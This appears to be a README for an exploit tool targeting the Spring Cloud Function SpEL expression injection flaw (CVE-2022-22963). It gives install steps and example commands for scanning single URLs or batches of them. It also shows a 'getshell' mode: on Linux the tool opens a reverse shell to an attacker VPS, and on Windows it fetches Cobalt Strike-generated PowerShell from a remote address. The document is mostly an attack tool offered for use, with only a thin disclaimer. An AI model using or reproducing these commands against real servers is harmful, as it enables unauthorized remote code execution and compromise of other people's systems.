Spring Cloud Function SPEL Expression Injection Vulnerability (CVE-2022-22963)

Spring framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications (on any type of deployment platform).

The serverless framework in Spring Cloud, the RoutingFunction class in Spring Cloud Function, processes the "spring.cloud.function.routing-expression" parameter in the request header as a Spel expression, causing Spel expression injection. Attackers can exploit this vulnerability to execute arbitrary code.

Affected versions: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

This script is for learning purposes only. Any legal liability arising from other uses is unrelated to the author.

1.installation(Install Modules)

pip3 install -r requirements.txt	

2.Usage

python3 spring-cloud-function-rce.py -h

-u Specify a single url for dnslog testing

-e Specify reverse shell mode

-s Specify the target host operating system, default is linux, parameters are win/linux Used with -i and -c parameters

3.example(Usage Examples)

3.1 Single URL Test

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

3.2 Batch URL Test

python3 spring-cloud-function-rce.py -f "urls.txt"

• 123.58.236.76:47874 is the vulfocus docker target range. It does not have the nslookup command installed, so the dnslog test fails.
• The batch url addresses must be the website root directory. Http://192.168.50.222:8080/ is the root directory of the locally built target range. Adding the test directory will cause the poc to fail.

3.3 Linux Target Getshell

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "vps IP address:5566"

3.4 Windows Target Getshell

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"

-c specifies the address of the powershell online code generated by cs. Must be used with -s "win". The -c option must be executed under windows. The script will call powershell for poc encoding.

4. Target Range

4.1 Build with Idea

Reference Address

4.2 Docker Target Range

vulfocus